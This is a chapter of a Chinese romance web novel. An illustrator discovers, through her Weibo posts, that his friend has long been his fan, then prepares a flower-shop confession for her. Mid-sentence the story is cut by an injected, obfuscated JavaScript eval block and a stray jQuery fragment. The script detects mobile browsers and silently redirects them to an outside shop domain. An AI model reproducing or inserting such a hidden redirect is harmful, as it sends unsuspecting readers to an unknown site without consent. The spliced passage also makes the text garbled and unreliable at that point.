周末，谈择远划开手机，登录自己的画师大号，例行进行十月无偿稿件抽奖。
每月固定抽取一位粉丝免费画头像，算是给长久追更的读者一点回馈，正在翻看评论区，身后忽然传来轻快的脚步声。
简宁一眼看见他捧着手机，躲躲闪闪地，小跑着凑上去，胳膊环住他的腰，声音软软的。
“宝贝，你手气好不好？”
谈择远心头一紧，就怕被发现，下意识把屏幕扣在桌面上。
侧过头，故作平静地说：“怎么了？”
简宁：“帮我抽奖行吗？”
“抽什么？”
简宁解锁屏幕递到它面前。
谈择远目光落在博文里，她也参与抽奖了，了然于心。
页面上她的ID格外醒目，谈择远微微挑眉，轻声念出那串网名：“粉笔灰吸入者？这是你的微博网名？”
简宁点点头，相当期待地问：“好听吗？”
“确实很适合你。”谈择远眼底漫开温柔的笑意，“要我怎么帮你？”
“帮我在评论区再发一句，今天画师更新了吗？”
简宁眼巴巴盯着屏幕，生怕自己错失抽奖资格。
谈择远依言敲下文字发送，笃定开口：“放心，我觉得你这次一定能抽中。”
简宁却垂了垂眼，语气有些低落：“已经不抱希望啦，画师一年只抽十二次无偿，我蹲了两年了，一次都没中过，早都不抱什么希望了。”
她随口一句，落在谈择远心里，却泛起层层涟漪。
他心里忽然生出好奇，想看看眼前这位粉丝，这位认识十年地朋友，都会在网上发点什么什么。
带着好奇，谈择远点开了微博。
【粉笔灰吸入者】
谈择远在搜索栏输入这个ID，点进简宁的主页，顺手在她主页，搜索了自己画师的笔名。
页面弹出密密麻麻的动态，整整两年时间，四十多条转发漫画的博文，十三条专门参与无偿抽奖的评论。
节假日的庆贺博文，几乎无中断地三连。
谈择远指尖缓慢滑动屏幕，心底只剩无尽感慨。
他从前只知道简宁喜欢自己笔下的漫画，却从没想过她也喜欢了”元之”这么多年。
【对方关注你1098天。】
“她真的……关注我好久啊。”
他放缓动作，一条一条翻看她的微博小日记，细碎文字拼凑出她这这几年的喜怒哀乐。
【2025年6月21日，今天研究生毕业了，是谁已经找到工作啦，是我是我！】
配图是教学楼前，一张穿着硕士服的自拍照，盼着头发，眉眼明亮，和他高中画的素描侧脸一模一样。
【2025年7月5日，我发现我不擅长当老师，学生站起来我看不见脸呜呜呜呜。】
【转正了，我妈给我介绍相亲对象了，对面比我大十岁，不知道她怎么想的，我放他鸽子了。】
看到这条，谈择远不自觉地，跟着弯起嘴角，低头傻笑。
他似乎明白了，那些简宁刻意推开，反复试探的时刻，不全是只贪图他这副身子。
家庭不停催婚压力，也一直压着她。
继续滑动屏幕，更多藏在文字里的孤单感扑面而来。
【2025年8月12日，我想找一个灵魂相似，性格互补的人，也许这个人永远也找不到，哎。】
【2025年9月17号这周上了15节课，救命啊！！！】
【同事男朋友接她过周年去了，爱真的会让人变得温柔，好羡慕啊。】
谈择远缓缓收紧神情，心底酸涩蔓延。
她并不是对感情无动于衷，她也会羡慕旁人安稳的爱意，却始终不敢主动伸手，抓住自己的缘分。
【2025年11月8号，今天去医院查了激素六项，身体好差呀，要注意休息了。】
【月经痛地晕过去了，求推荐好用的止疼药。】
谈择远忽然懂了，最开始简宁靠近他的理由。
所谓药引子，一半是身体需要，另一半，是长久以来无人依靠的孤单，她的内心深处，还是渴求幸福的。
下一条动态，马上又把氛围活跃起来了。
【画师画得真好，穿搭也不错，盲猜一定是大帅哥，就是这双鞋子有点丑。】
他低头打量脚上这双鞋，默默在心里复盘，下次出门一定换一双新鞋。
不能再被她吐槽，更不能被她发现。
【2026年1月18号，第一个学期结束了，我妈又给我介绍对象了，聊不来，都聊不来，应该我会单身一辈子吧，让我清静清静吧，我只想搞事业。】
【今天除夕，不知道太太能不能更新，新年快乐。】
【表姐家的孩子两岁了，表姐已经两年没上班了，当妈妈真的会让人失去很多东西。】
一条条博文读下来，谈择远彻底明白了简宁藏在活泼外表下的不安。
她害怕仓促的相亲，害怕被家庭裹挟，害怕亲密关系里，会被磨灭自我，更害怕交付真心之后，最后只剩一场落空。
所以她才始终把两人划定在试用期，嘴上只说图他的身体，刻意保持距离，就是不敢接受这份感情。
不是不爱，是不敢轻易迈出那一步。
心底所有迷茫尽解开，谈择远暗暗下定主意，不能再任由两人的关系，停在模糊的试用期里。
他要认认真真和她表白，不会让她失去自我。
与其说需要一个爱人，她更需要一份不丢掉自己的承诺。
页面滑到最新一条动态，发布于三天前，是两人去看恐怖片的那天。
最新一个博文【2026年10月21日，今天去看电影了，身边的人是胆小鬼。】
谈择远眼底失笑，切换画师大号，单独点开这条动态，在评论区留下回复：【电影好看吗？】
发完评论，他打开抽奖后台，核对完所有参与评论，毫不犹豫选中置顶那条，“粉笔灰吸入者”的留言。
编辑全新微博发布，公开宣布本次无偿稿件中奖者，@粉笔灰吸入者。
次日依旧是工作日，花店上午客流不多，谈择远早早开门，开始着手布置告白场地。
各色玫瑰、洋桔梗，都是她喜欢的品类。暖光灯串缠绕货架，角落摆上她喜欢的薰衣草味香薰，温柔清淡的香气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723627|206426||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
铺满整间屋子。
“谈哥，你今天一大早就摆弄这么多鲜花，是准备表白吗？”兼职的女店员整理包装纸，好奇打探消息。
“嗯，准备告白。”
谈择远低头修剪玫瑰枝叶，反复调整摆放位置，总觉得还差一点感觉。
一旁整理花材的男店员搭话说：“是不是前几天，总过来找你的那位美女姐姐？你们俩眼光真好！”
这算是变相夸他俩郎才女貌？
谈择远停下动作，看向两个更没恋爱经验的店员，难得露出忐忑，认真问道：“你们觉得，我们般配吗？”
女店员猛地打了个响指，眼睛亮晶晶，一副嗑到了的表情。
“绝配，天造地设的绝配！姐姐温柔漂亮，你长得帅，站在一起的画面都相当护眼。”
谈择远：“你想说养眼吧。”
男生跟着连连点头附和：“没错没错，每次姐姐来店里看你的时候，眼神都是爱啊，喜欢你藏都藏不住！”
几句夸赞，抚平了谈择远心底大半的紧张，他把最后一束香槟玫瑰摆在场地中央。
灯光、香薰，鲜花布景全部就位，整个花店温馨又浪漫。
谈择远抬眼看了一眼墙上时钟，轻声提醒两个店员：“还有十分钟她就到了，店里没别的事，你们可以先下班了。”
女店员不舍地眨眨眼，软磨硬泡：“谈哥，我们能不能留下来旁观？我长这么大还没现场看过告白呢，保证安安静静当背景板，绝对不打扰你们！”
“对啊，我们保证不说话，就在角落待着，你就当我们不存在。”男生也跟着起哄，满眼好奇。
谈择远无奈抬手指向花店大门，语气带着一点无奈：“两位，右拐出门，下班吧。”
两人见他态度坚定，只能垂头丧气收拾东西离开，临走前还不忘叮嘱他告白顺利。
店内彻底安静下来，谈择远走到试衣镜前，换上一身干净合身的米白色针织衬衫，搭配休闲西裤。
随手抓了抓凌乱的发丝，反复调整领口，对着镜子深呼吸好几次，压下胸腔里砰砰直跳的紧张。
没过几分钟，门口电动门铃叮咚响起。
简宁一手提着保温饭盒，小心翼翼猫着身子走进漆黑的花店，轻声试探着呼喊：“谈老板？你在里面吗？怎么不开灯？”
谈择远从鲜花布景后缓步走出，柔和的轮廓在昏暗里格外清晰。
简宁抬头，看清他一身正式精致的穿搭，脚步顿住，明显愣了一下。
她一边慢慢往里走，一边疑惑发问：“怎么把所有主灯都关掉了，店里这么暗？”
话音落下，谈择远抬手按下灯光开关，彩色串灯瞬间亮起。
成片错落的鲜花铺满地面，香薰缓缓飘散，温柔的光影笼罩整片空间。
简宁怔怔站在原地，眼睛慢慢睁大，满眼震惊，又很惊喜，脚步停在原地，一时忘了说话。
半晌才找回自己的声音，轻声问道：“这……这是要干什么？”
谈择远缓步走到她面前，目光稳稳落在她泛红的眉眼上，一字一句说：“从前也给别人婚礼布置过，今天第一次给自己布置，不知道拿来表白够不够诚意。”